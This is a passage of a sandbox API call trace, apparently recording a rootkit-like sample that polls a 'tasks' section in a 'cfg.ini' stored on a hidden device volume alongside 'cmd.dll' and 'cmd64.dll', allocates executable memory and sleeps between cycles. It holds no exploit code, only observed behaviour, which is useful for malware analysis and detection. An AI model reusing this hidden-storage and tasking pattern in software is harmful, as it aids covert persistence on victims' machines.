out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.709] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.709] IdePortDispatch () returned 0x103 [0120.709] KeWaitForMutexObject () returned 0x0 [0120.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.709] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.709] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.709] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.709] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.709] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.709] KeLeaveCriticalRegion () [0120.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.709] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.709] KeEnterCriticalRegion () [0120.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.709] KeLeaveCriticalRegion () [0120.709] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.709] KeEnterCriticalRegion () [0120.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.709] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.709] IdePortDispatch () returned 0x103 [0120.709] KeWaitForMutexObject () returned 0x0 [0120.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.710] KeLeaveCriticalRegion () [0120.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.710] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.710] KeEnterCriticalRegion () [0120.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c7000 [0120.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.710] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.710] IdePortDispatch () returned 0x103 [0120.710] KeWaitForMutexObject () returned 0x0 [0120.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.710] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.710] IdePortDispatch () returned 0x103 [0120.710] KeWaitForMutexObject () returned 0x0 [0120.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.710] KeLeaveCriticalRegion () [0120.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.711] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.711] KeEnterCriticalRegion () [0120.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] KeLeaveCriticalRegion () [0120.711] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.711] KeEnterCriticalRegion () [0120.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.711] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] KeLeaveCriticalRegion () [0120.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.711] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.711] KeEnterCriticalRegion () [0120.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.711] KeLeaveCriticalRegion () [0120.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.711] ReleaseMutex (hMutex=0xf0) returned 1 [0120.711] Sleep (dwMilliseconds=0x927c0) [0120.725] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.725] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.725] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.725] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.725] KeEnterCriticalRegion () [0120.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.725] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.726] IdePortDispatch () returned 0x103 [0120.726] KeWaitForMutexObject () returned 0x0 [0120.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.726] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.726] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.726] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.726] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd010 [0120.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.726] KeLeaveCriticalRegion () [0120.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.726] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.726] KeEnterCriticalRegion () [0120.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.726] KeLeaveCriticalRegion () [0120.726] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.726] KeEnterCriticalRegion () [0120.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.726] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.726] IdePortDispatch () returned 0x103 [0120.726] KeWaitForMutexObject () returned 0x0 [0120.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.726] KeLeaveCriticalRegion () [0120.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.727] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.727] KeEnterCriticalRegion () [0120.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cc000 [0120.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.727] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.727] IdePortDispatch () returned 0x103 [0120.727] KeWaitForMutexObject () returned 0x0 [0120.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.727] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.727] IdePortDispatch () returned 0x103 [0120.727] KeWaitForMutexObject () returned 0x0 [0120.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.727] KeLeaveCriticalRegion () [0120.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.728] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.728] KeEnterCriticalRegion () [0120.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] KeLeaveCriticalRegion () [0120.728] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.728] KeEnterCriticalRegion () [0120.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] KeLeaveCriticalRegion () [0120.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.728] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.728] KeEnterCriticalRegion () [0120.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] ExFreePoolWithTag (P=0xfffffa8003bbd010, Tag=0x0) [0120.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.728] KeLeaveCriticalRegion () [0120.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.728] ReleaseMutex (hMutex=0xf0) returned 1 [0120.728] Sleep (dwMilliseconds=0x927c0) [0120.743] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.743] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.743] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.743] KeEnterCriticalRegion () [0120.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.744] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.744] IdePortDispatch () returned 0x103 [0120.744] KeWaitForMutexObject () returned 0x0 [0120.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.744] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.744] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.744] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.744] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.744] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.744] KeLeaveCriticalRegion () [0120.744] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.744] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.744] KeEnterCriticalRegion () [0120.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.744] KeLeaveCriticalRegion () [0120.744] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.744] KeEnterCriticalRegion () [0120.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.744] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.744] IdePortDispatch () returned 0x103 [0120.744] KeWaitForMutexObject () returned 0x0 [0120.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.744] KeLeaveCriticalRegion () [0120.744] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.745] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.745] KeEnterCriticalRegion () [0120.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d1000 [0120.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.745] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.745] IdePortDispatch () returned 0x103 [0120.745] KeWaitForMutexObject () returned 0x0 [0120.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.745] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.745] IdePortDispatch () returned 0x103 [0120.745] KeWaitForMutexObject () returned 0x0 [0120.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.745] KeLeaveCriticalRegion () [0120.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.746] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.746] KeEnterCriticalRegion () [0120.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] KeLeaveCriticalRegion () [0120.746] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.746] KeEnterCriticalRegion () [0120.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.746] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] KeLeaveCriticalRegion () [0120.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.746] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.746] KeEnterCriticalRegion () [0120.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.746] KeLeaveCriticalRegion () [0120.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.746] ReleaseMutex (hMutex=0xf0) returned 1 [0120.746] Sleep (dwMilliseconds=0x927c0) [0120.760] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.760] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.760] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.760] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.760] KeEnterCriticalRegion () [0120.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.760] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.760] IdePortDispatch () returned 0x103 [0120.760] KeWaitForMutexObject () returned 0x0 [0120.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd010 [0120.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.760] KeLeaveCriticalRegion () [0120.760] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.760] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.760] KeEnterCriticalRegion () [0120.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.760] KeLeaveCriticalRegion () [0120.760] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.760] KeEnterCriticalRegion () [0120.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.761] MmProbeAndLockPages (in: 